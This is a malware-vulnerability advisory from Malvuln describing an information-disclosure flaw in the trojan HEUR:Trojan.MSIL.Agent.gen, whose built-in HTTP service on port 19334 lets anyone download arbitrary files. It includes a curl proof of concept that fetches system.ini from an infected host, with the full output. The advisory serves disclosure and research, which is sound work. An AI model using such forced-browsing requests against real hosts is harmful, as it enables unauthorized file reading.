HEUR:Trojan.MSIL.Agent.gen MVID-2022-0654 Information Disclosure

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/bc2ccf92bea475f828dcdcb1c8f6cc92.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: HEUR:Trojan.MSIL.Agent.gen  
Vulnerability: Information Disclosure  
Description: the malware runs an HTTP service on port 19334. Attackers who can reach an infected host can make HTTP GET requests to download and or stat arbitrary files using forced browsing.  
Family: Agent  
Type: PE64  
MD5: bc2ccf92bea475f828dcdcb1c8f6cc92  
Vuln ID: MVID-2022-0654  
Disclosure: 11/09/2022  
  
  
Exploit/PoC:  
C:\>curl "http://192.168.18.125:19334/c:/Windows/system.ini" -v  
Trying 192.168.18.125:19334...  
Connected to 192.168.18.125 (192.168.18.125) port 19334 (#0)  
GET /c:/Windows/system.ini HTTP/1.1  
Host: 192.168.18.125:19334  
User-Agent: curl/7.83.1  
Accept: */*  
  
* Mark bundle as not supporting multiuse  
* HTTP 1.0, assume close after body  
HTTP/1.0 200 OK  
content-encoding: utf8  
content-type: application/octet-stream  
date: Tue, 08 Nov 2022 23:11:55 GMT  
last-modified: Sat, 16 Jul 2016 07:45:35 GMT  
content-disposition: attachment; filename*=UTF-8''system.ini; filename="system.ini"  
  
; for 16-bit app support  
[386Enh]  
woafont=dosapp.fon  
EGA80WOA.FON=EGA80WOA.FON  
EGA40WOA.FON=EGA40WOA.FON  
CGA80WOA.FON=CGA80WOA.FON  
CGA40WOA.FON=CGA40WOA.FON  
  
[drivers]  
wave=mmdrv.dll  
timer=timer.drv  
  
[mci]  
* Closing connection 0  
  
  
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